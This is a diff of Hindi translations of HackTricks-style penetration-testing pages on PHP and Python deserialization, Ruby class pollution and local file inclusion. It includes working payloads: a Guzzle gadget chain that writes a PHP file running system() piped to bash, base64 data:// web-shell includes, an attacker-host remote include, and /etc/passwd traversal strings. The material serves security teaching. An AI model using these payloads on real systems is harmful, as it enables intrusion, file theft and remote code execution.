[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय से **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** **भी तरह से फिक्स** किया गया है, विकल्पों को **`kEmptyObject`** पर सेट करके, `{}` के बजाय।
|
||||
[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय से **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** को **`{}`** के बजाय **`kEmptyObject`** पर सेट करके **कुछ हद तक फिक्स** किया गया था।
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
|
@ -6,14 +6,14 @@
|
||||
|
||||
## PHP deserialization + spl_autoload_register + LFI/Gadget
|
||||
|
||||
हम एक ऐसी स्थिति में हैं जहाँ हमें एक **PHP deserialization एक वेब ऐप में** मिली है जिसमें **कोई** लाइब्रेरी **gadgets** के लिए कमजोर नहीं है **`phpggc`** के अंदर। हालाँकि, उसी कंटेनर में एक **अलग composer वेब ऐप था जिसमें कमजोर लाइब्रेरी** थीं। इसलिए, लक्ष्य था **दूसरे वेब ऐप के composer लोडर को लोड करना** और इसका दुरुपयोग करना **एक gadget लोड करने के लिए जो उस लाइब्रेरी का दुरुपयोग करेगा** जो deserialization के लिए कमजोर है।
|
||||
हम एक ऐसी स्थिति में हैं जहाँ हमें एक **PHP deserialization एक वेब ऐप में** मिली है जिसमें **कोई** लाइब्रेरी **`phpggc`** के अंदर गैजेट के लिए कमजोर नहीं है। हालाँकि, उसी कंटेनर में एक **अलग कंपोज़र वेब ऐप था जिसमें कमजोर लाइब्रेरी थीं**। इसलिए, लक्ष्य था **दूसरे वेब ऐप के कंपोज़र लोडर को लोड करना** और इसका दुरुपयोग करना **एक गैजेट लोड करने के लिए जो उस लाइब्रेरी का दुरुपयोग करेगा** जो deserialization के लिए कमजोर है।
|
||||
|
||||
चरण:
|
||||
|
||||
- आपने एक **deserialization** पाया है और वर्तमान ऐप कोड में **कोई gadget** नहीं है
|
||||
- आप एक **`spl_autoload_register`** फ़ंक्शन का दुरुपयोग कर सकते हैं जैसे कि निम्नलिखित **किसी भी स्थानीय फ़ाइल को लोड करने के लिए जिसमें `.php` एक्सटेंशन** है
|
||||
- इसके लिए आप एक deserialization का उपयोग करते हैं जहाँ कक्षा का नाम **`$name`** के अंदर होगा। आप **serialized object** में कक्षा के नाम में "/" या "." का उपयोग **नहीं** कर सकते, लेकिन **कोड** **underscores** ("\_") को **slashes** ("/") के लिए **बदल रहा है**। इसलिए एक कक्षा का नाम जैसे `tmp_passwd` को `/tmp/passwd.php` में परिवर्तित किया जाएगा और कोड इसे लोड करने की कोशिश करेगा।\
|
||||
एक **gadget उदाहरण** होगा: **`O:10:"tmp_passwd":0:{}`**
|
||||
- आपने एक **deserialization** पाया है और वर्तमान ऐप कोड में **कोई गैजेट नहीं है**
|
||||
- आप एक **`spl_autoload_register`** फ़ंक्शन का दुरुपयोग कर सकते हैं जैसे कि निम्नलिखित **किसी भी स्थानीय फ़ाइल को लोड करने के लिए जिसमें `.php` एक्सटेंशन है**
|
||||
- इसके लिए आप एक deserialization का उपयोग करते हैं जहाँ कक्षा का नाम **`$name`** के अंदर होगा। आप एक सीरियलाइज्ड ऑब्जेक्ट में कक्षा के नाम में **"/ या "."** का उपयोग नहीं कर सकते, लेकिन **कोड** **अंडरस्कोर** ("\_") को **स्लैश** ("/") के लिए **बदल रहा है**। इसलिए एक कक्षा का नाम जैसे `tmp_passwd` `/tmp/passwd.php` में परिवर्तित हो जाएगा और कोड इसे लोड करने की कोशिश करेगा।\
|
||||
एक **गैजेट उदाहरण** होगा: **`O:10:"tmp_passwd":0:{}`**
|
||||
```php
|
||||
spl_autoload_register(function ($name) {
|
||||
|
||||
@ -40,15 +40,15 @@ require __DIR__ . $filename;
|
||||
|
||||
मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन **समान कंटेनर** के अंदर एक और कंपोजर वेब पेज था जिसमें एक **लाइब्रेरी थी जो `phpggc` गैजेट के लिए संवेदनशील थी**।
|
||||
|
||||
- इस अन्य लाइब्रेरी को लोड करने के लिए, सबसे पहले आपको **उस अन्य वेब ऐप का कंपोजर लोडर लोड करना होगा** (क्योंकि वर्तमान एप्लिकेशन का लोडर दूसरे के लाइब्रेरी तक पहुंच नहीं पाएगा)। **एप्लिकेशन का पथ जानकर**, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: **`O:28:"www_frontend_vendor_autoload":0:{}`** (मेरे मामले में, कंपोजर लोडर `/www/frontend/vendor/autoload.php` में था)
|
||||
- अब, आप **अन्य ऐप कंपोजर लोडर** को **लोड** कर सकते हैं, तो अब **`phpgcc`** **पेलोड** उत्पन्न करने का समय है। मेरे मामले में, मैंने **`Guzzle/FW1`** का उपयोग किया, जिसने मुझे **फाइल सिस्टम के अंदर कोई भी फाइल लिखने** की अनुमति दी।
|
||||
- नोट: **उत्पन्न गैजेट काम नहीं कर रहा था**, इसके काम करने के लिए मैंने **`chain.php`** पेलोड को phpggc में **संशोधित** किया और **क्लास के सभी गुणों** को **प्राइवेट से पब्लिक** में सेट किया। यदि नहीं, तो स्ट्रिंग को डीसिरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स के गुणों में कोई मान नहीं था।
|
||||
- अब हमारे पास **अन्य ऐप कंपोजर लोडर को लोड करने का तरीका है** और एक **phpggc पेलोड है जो काम करता है**, लेकिन हमें **यह SAME REQUEST में करना होगा ताकि लोडर गैजेट के उपयोग के समय लोड हो सके**। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड एरे भेजा जैसे:
|
||||
- इस अन्य लाइब्रेरी को लोड करने के लिए, पहले आपको **उस अन्य वेब ऐप का कंपोजर लोडर लोड करना होगा** (क्योंकि वर्तमान एप्लिकेशन का लोडर दूसरे के लाइब्रेरी तक पहुंच नहीं पाएगा)। **एप्लिकेशन का पथ जानकर**, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: **`O:28:"www_frontend_vendor_autoload":0:{}`** (मेरे मामले में, कंपोजर लोडर `/www/frontend/vendor/autoload.php` में था)
|
||||
- अब, आप **अन्य ऐप के कंपोजर लोडर को लोड कर सकते हैं**, इसलिए यह **`phpgcc`** **पेलोड** उत्पन्न करने का समय है। मेरे मामले में, मैंने **`Guzzle/FW1`** का उपयोग किया, जिसने मुझे **फाइल सिस्टम के अंदर कोई भी फाइल लिखने** की अनुमति दी।
|
||||
- नोट: **उत्पन्न गैजेट काम नहीं कर रहा था**, इसके काम करने के लिए मैंने **`chain.php`** पेलोड को **संशोधित** किया और **क्लास के सभी गुणों** को **प्राइवेट से पब्लिक** में सेट किया। यदि नहीं, तो स्ट्रिंग को डीसिरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स के गुणों में कोई मान नहीं था।
|
||||
- अब हमारे पास **अन्य ऐप के कंपोजर लोडर को लोड करने का तरीका है** और एक **phpggc पेलोड है जो काम करता है**, लेकिन हमें **इसे SAME REQUEST में करना होगा ताकि लोडर तब लोड हो जब गैजेट का उपयोग किया जाए**। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड एरे भेजा जैसे:
|
||||
- आप देख सकते हैं **पहले लोडर लोड हो रहा है और फिर पेलोड**
|
||||
```php
|
||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||
```
|
||||
- अब, हम **एक फ़ाइल बना और लिख सकते हैं**, हालाँकि, उपयोगकर्ता **वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता**। तो, जैसा कि आप पेलोड में देख सकते हैं, PHP **`system`** को कुछ **base64** के साथ कॉल कर रहा है जो **`/tmp/a.php`** में बनाया गया है। फिर, हम **पहले प्रकार के पेलोड** का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में अन्य वेब ऐप के कंपोज़र लोडर को लोड करने के लिए **जनित `/tmp/a.php`** फ़ाइल लोड करने के लिए उपयोग किया था। बस इसे डेसिरियलाइजेशन गैजेट में जोड़ें: 
|
||||
- अब, हम **एक फ़ाइल बना और लिख सकते हैं**, हालाँकि, उपयोगकर्ता **वेब सर्वर के अंदर किसी भी फ़ोल्डर में नहीं लिख सका**। तो, जैसा कि आप पेलोड में देख सकते हैं, PHP **`system`** को कुछ **base64** के साथ कॉल कर रहा है जो **`/tmp/a.php`** में बनाया गया है। फिर, हम **पहले प्रकार के पेलोड** का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में उपयोग किया था ताकि दूसरे वेब ऐप के कंपोज़र लोडर को **जनित `/tmp/a.php`** फ़ाइल लोड करने के लिए लोड किया जा सके। बस इसे डेसिरियलाइजेशन गैजेट में जोड़ें: 
|
||||
```php
|
||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Yaml **Deserialization**
|
||||
|
||||
**Yaml** पायथन पुस्तकालय **पायथन ऑब्जेक्ट्स** को **सीरियलाइज़** करने में भी सक्षम है, न कि केवल कच्चे डेटा:
|
||||
**Yaml** पायथन पुस्तकालय **पायथन ऑब्जेक्ट्स** को **सीरियलाइज़** करने में भी सक्षम है और केवल कच्चे डेटा को नहीं:
|
||||
```
|
||||
print(yaml.dump(str("lol")))
|
||||
lol
|
||||
@ -87,11 +87,11 @@ state:
|
||||
],
|
||||
}
|
||||
```
|
||||
ध्यान दें कि **हाल के संस्करणों** में आप **अब `.load()`** को **बिना `Loader`** के **नहीं बुला सकते** और **`FullLoader`** **अब इस हमले के प्रति संवेदनशील नहीं है**।
|
||||
ध्यान दें कि **हाल के संस्करणों** में आप **अब `.load()`** **बिना `Loader`** के **नहीं बुला सकते** और **`FullLoader`** **अब इस हमले के प्रति संवेदनशील नहीं है**।
|
||||
|
||||
## RCE
|
||||
|
||||
कस्टम पेलोड्स को **PyYAML** या **ruamel.yaml** जैसे Python YAML मॉड्यूल का उपयोग करके बनाया जा सकता है। ये पेलोड्स उन सिस्टम में कमजोरियों का फायदा उठा सकते हैं जो बिना उचित सफाई के अविश्वसनीय इनपुट को डेसिरियलाइज करते हैं।
|
||||
कस्टम पेलोड्स को **PyYAML** या **ruamel.yaml** जैसे Python YAML मॉड्यूल का उपयोग करके बनाया जा सकता है। ये पेलोड्स उन सिस्टम में कमजोरियों का लाभ उठा सकते हैं जो बिना उचित सफाई के अविश्वसनीय इनपुट को डेसिरियलाइज़ करते हैं।
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
@ -111,9 +111,9 @@ print(yaml.load(deserialized_data, Loader=UnsafeLoader))
|
||||
print(yaml.load(deserialized_data, Loader=Loader))
|
||||
print(yaml.unsafe_load(deserialized_data))
|
||||
```
|
||||
### Payloads बनाने के लिए उपकरण
|
||||
### Payloads बनाने के लिए टूल
|
||||
|
||||
उपकरण [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) का उपयोग **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग करने के लिए पायथन डेसिरियलाइजेशन पेलोड बनाने के लिए किया जा सकता है:
|
||||
यह टूल [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग करने के लिए पायथन डेसिरियलाइजेशन पेलोड बनाने के लिए उपयोग किया जा सकता है:
|
||||
```bash
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पोस्ट का सारांश है [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
यह [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) से एक सारांश है
|
||||
|
||||
## Merge on Attributes
|
||||
|
||||
@ -148,7 +148,7 @@ JSONMergerApp.run(json_input)
|
||||
1. यह केवल इसलिए संभव है क्योंकि एक **कमजोर `eval` निर्देश** उस गुण के स्ट्रिंग मान को निष्पादित कर रहा है।
|
||||
3. **प्रभाव सीमा**: यह कमजोरी केवल व्यक्तिगत उदाहरणों को प्रभावित करती है, अन्य `User` और `Admin` के उदाहरणों को अप्रभावित छोड़ देती है, इस प्रकार शोषण के दायरे को सीमित करती है।
|
||||
|
||||
### वास्तविक-विश्व मामले <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
### वास्तविक दुनिया के मामले <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
### ActiveSupport का `deep_merge`
|
||||
|
||||
@ -168,7 +168,7 @@ end
|
||||
```
|
||||
### Hashie का `deep_merge`
|
||||
|
||||
Hashie का `deep_merge` मेथड सीधे ऑब्जेक्ट के एट्रिब्यूट्स पर काम करता है न कि साधारण हैश पर। यह **मेथड्स** को एट्रिब्यूट्स के साथ मर्ज में **बदलने से रोकता है** कुछ **अपवादों** के साथ: एट्रिब्यूट्स जो `_`, `!`, या `?` के साथ समाप्त होते हैं, उन्हें अभी भी ऑब्जेक्ट में मर्ज किया जा सकता है।
|
||||
Hashie का `deep_merge` मेथड सीधे ऑब्जेक्ट के एट्रिब्यूट्स पर काम करता है न कि साधारण हैश पर। यह **मेथड्स** को एट्रिब्यूट्स के साथ मर्ज में **बदलने** से रोकता है कुछ **अपवादों** के साथ: एट्रिब्यूट्स जो `_`, `!`, या `?` के साथ समाप्त होते हैं, उन्हें अभी भी ऑब्जेक्ट में मर्ज किया जा सकता है।
|
||||
|
||||
एक विशेष मामला है एट्रिब्यूट **`_`** अपने आप में। केवल `_` एक एट्रिब्यूट है जो आमतौर पर एक `Mash` ऑब्जेक्ट लौटाता है। और क्योंकि यह **अपवादों** का हिस्सा है, इसे संशोधित करना संभव है।
|
||||
|
||||
@ -390,7 +390,7 @@ end
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
यह संभव है कि माता-पिता की कक्षा **`Person`** के **`@@url`** गुण के मान को संशोधित किया जा सके।
|
||||
यह संभव है कि माता-पिता की कक्षा **`Person`** के **`@@url`** गुण के मान को संशोधित किया जाए।
|
||||
|
||||
### **अन्य कक्षाओं को विषाक्त करना**
|
||||
|
||||
@ -398,7 +398,7 @@ curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"ur
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
किसी बिंदु पर परिभाषित कक्षाओं को ब्रूट-फोर्स करना संभव है और कक्षा **`KeySigner`** को ज़हर देना संभव है, `signing_key` के मान को `injected-signing-key` द्वारा संशोधित करना।\
|
||||
यह संभव है कि परिभाषित कक्षाओं को ब्रूट-फोर्स किया जाए और किसी बिंदु पर कक्षा **`KeySigner`** को विषाक्त किया जाए, `signing_key` के मान को `injected-signing-key` द्वारा संशोधित किया जाए।\
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -45,11 +45,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
## Basic LFI and bypasses
|
||||
|
||||
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
|
||||
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences stripped non-recursively
|
||||
### ट्रैवर्सल अनुक्रम गैर-आवर्ती रूप से हटा दिए गए
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -72,7 +72,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### From existent folder
|
||||
### मौजूदा फ़ोल्डर से
|
||||
|
||||
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
|
||||
```python
|
||||
@ -82,20 +82,20 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
|
||||
सर्वर का फ़ाइल सिस्टम कुछ तकनीकों का उपयोग करके निर्देशिकाओं की पहचान के लिए पुनरावृत्त रूप से अन्वेषण किया जा सकता है, न कि केवल फ़ाइलों के लिए। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
|
||||
|
||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
|
||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का पता लगाएं `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की गहराई को एक से बढ़ाने की आवश्यकता होती है:
|
||||
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर के लिए गहराई को एक से बढ़ाना आवश्यक है:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि क्या फ़ोल्डर मौजूद है:
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
|
||||
- **त्रुटि / कोई आउटपुट नहीं:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
|
||||
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
|
||||
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके आगे जांचा जा सकता है।
|
||||
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
|
||||
|
||||
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
|
||||
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -106,7 +106,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
|
||||
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल नहीं बदलती है।
|
||||
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
|
||||
- इसी तरह, यदि किसी फ़ाइल पथ में `.php` जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
|
||||
|
||||
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
@ -121,11 +121,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
|
||||
|
||||
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल प्रणाली में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
|
||||
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
|
||||
- **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
|
||||
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
|
||||
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन वांछित पथ (`/etc/passwd`) बरकरार रहे।
|
||||
- **एक नकली डायरेक्टरी से शुरू करना**: पथ को एक गैर-मौजूद डायरेक्टरी (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
|
||||
|
||||
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल प्रणाली की संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
|
||||
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
|
||||
|
||||
**यह भेद्यता PHP 5.3 में ठीक की गई थी।**
|
||||
|
||||
@ -144,12 +144,12 @@ php में यह डिफ़ॉल्ट रूप से बंद है
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड और RCE प्राप्त कर सकते हैं:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
|
||||
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल बेकार होगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
|
||||
|
||||
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग न करते हुए** होगा:
|
||||
```
|
||||
@ -157,12 +157,12 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
```
|
||||
## Python Root element
|
||||
|
||||
Python में इस तरह के कोड में:
|
||||
पायथन में इस तरह के कोड में:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
यदि उपयोगकर्ता **`file_name`** के लिए **absolute path** पास करता है, तो **पिछला पथ बस हटा दिया जाता है**:
|
||||
यदि उपयोगकर्ता **`file_name`** के लिए **पूर्ण पथ** पास करता है, तो **पिछला पथ बस हटा दिया जाता है**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
@ -222,7 +222,7 @@ PHP फ़िल्टर डेटा पर **संशोधन संचा
|
||||
- `convert.base64-decode`
